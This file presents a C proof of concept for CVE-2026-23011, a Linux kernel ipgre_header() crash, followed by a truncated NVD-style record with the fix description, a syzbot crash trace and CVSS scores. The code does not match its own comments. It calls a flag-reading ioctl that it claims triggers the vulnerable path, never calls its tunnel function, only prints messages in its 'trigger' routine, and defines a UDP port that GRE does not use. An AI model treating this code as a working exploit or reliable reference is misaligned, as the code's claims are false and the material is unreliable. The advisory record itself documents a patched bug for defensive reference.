CVE-2026-23011

/* * CVE-2026-23011 PoC - Linux kernel ipgre_header() DoS * This PoC demonstrates the kernel crash via manipulating network device headroom * Compile: gcc -o cve202623011 cve202623011.c -lnl-3 -lnl-genl-3 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/if.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/if_tun.h> #include <linux/ip.h> #include <linux/if_ether.h> #define GRE_PORT 4789 int create_gre_tunnel(const char *tunnel_name, const char *remote_ip) { int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket creation failed"); return -1; } // Create GRE tunnel interface struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, tunnel_name, IFNAMSIZ - 1); // Setup GRE parameters via ioctl // This triggers the vulnerable code path in ipgre_header() if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) { perror("ioctl failed"); close(sock); return -1; } close(sock); return 0; } void trigger_mld_traffic_with_gre(void) { /* * This PoC requires: * 1. Team or bonding interface with dynamic headroom changes * 2. IPv6 multicast traffic (mld) * 3. Dynamic GRE tunnel attachment * * The actual exploit triggers: * - mld_newpack() with insufficient skb reserve * - ipgre_header() skb_push() buffer underflow * - kernel BUG at net/core/skbuff.c:213 */ printf("[*] Triggering conditions for CVE-2026-23011...\n"); printf("[*] Requires team/bonding + IPv6 mld + GRE attachment\n"); } int main(int argc, char *argv[]) { printf("CVE-2026-23011 PoC - Linux kernel ipgre_header() DoS\n"); printf("CVSS: 5.5 (Medium)\n\n"); trigger_mld_traffic_with_gre(); printf("[*] Note: This is a kernel vulnerability requiring specific conditions\n"); printf("[*] See kernel commit 06fe0801396a36cab865b34f666de1d65bc5ce8e for fix\n"); return 0; }

{"cve": {"id": "CVE-2026-23011", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:55.977", "lastModified": "2026-03-25T19:51:11.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: ip_gre: make ipgre_header() robust\n\nAnalog to commit db5b4e39c4e6 (\"ip6_gre: make ip6gre_header() robust\")\n\nOver the years, syzbot found many ways to crash the kernel\nin ipgre_header() [1].\n\nThis involves team or bonding drivers ability to dynamically\nchange their dev->needed_headroom and/or dev->hard_header_len\n\nIn this particular crash mld_newpack() allocated an skb\nwith a too small reserve/headroom, and by the time mld_sendpack()\nwas called, syzbot managed to attach an ipgre device.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff89ea3cb7 len:2030915468 put:2030915372 head:ffff888058b43000 data:ffff887fdfa6e194 tail:0x120 end:0x6c0 dev:team0\n kernel BUG at net/core/skbuff.c:213 !\nOops: invalid opcode: 0000 [#1] SMP KASAN PTI\nCPU: 1 UID: 0 PID: 1322 Comm: kworker/1:9 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nWorkqueue: mld mld_ifc_work\n RIP: 0010:skb_panic+0x157/0x160 net/core/skbuff.c:213\nCall Trace:\n <TASK>\n skb_under_panic net/core/skbuff.c:223 [inline]\n skb_push+0xc3/0xe0 net/core/skbuff.c:2641\n ipgre_header+0x67/0x290 net/ipv4/ip_gre.c:897\n dev_hard_header include/linux/netdevice.h:3436 [inline]\n neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618\n NF_HOOK_COND include/linux/netfilter.h:307 [inline]\n ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247\n NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318\n mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855\n mld_send_cr net/ipv6/mcast.c:2154 [inline]\n mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693\n process_one_work kernel/workqueue.c:3257 [inline]\n process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n kthread+0x711/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nipv4: ip_gre: hacer ipgre_header() robusto\n\nAnálogo al commit db5b4e39c4e6 ('ip6_gre: hacer ip6gre_header() robusto')\n\nA lo largo de los años, syzbot encontró muchas maneras de colapsar el kernel en ipgre_header() [1].\n\nEsto implica la capacidad de los controladores de equipo o de enlace (bonding drivers) de cambiar dinámicamente su dev-&gt;needed_headroom y/o dev-&gt;hard_header_len\n\nEn este colapso particular, mld_newpack() asignó un skb con una reserva/espacio de cabecera (headroom) demasiado pequeño, y para cuando se llamó a mld_sendpack(), syzbot logró adjuntar un dispositivo ipgre.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff89ea3cb7 len:2030915468 put:2030915372 head:ffff888058b43000 data:ffff887fdfa6e194 tail:0x120 end:0x6c0 dev:team0\n kernel BUG at net/core/skbuff.c:213 !\nOops: invalid opcode: 0000 [#1] SMP KASAN PTI\nCPU: 1 UID: 0 PID: 1322 Comm: kworker/1:9 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nWorkqueue: mld mld_ifc_work\n RIP: 0010:skb_panic+0x157/0x160 net/core/skbuff.c:213\nCall Trace:\n \n skb_under_panic net/core/skbuff.c:223 [inline]\n skb_push+0xc3/0xe0 net/core/skbuff.c:2641\n ipgre_header+0x67/0x290 net/ipv4/ip_gre.c:897\n dev_hard_header include/linux/netdevice.h:3436 [inline]\n neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618\n NF_HOOK_COND include/linux/netfilter.h:307 [inline]\n ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247\n NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318\n mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855\n mld_send_cr net/ipv6/mcast.c:2154 [inline]\n mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693\n process_one_work kernel/workqueue.c:3257 [inline]\n process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n kthread+0x711/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD ... (truncated)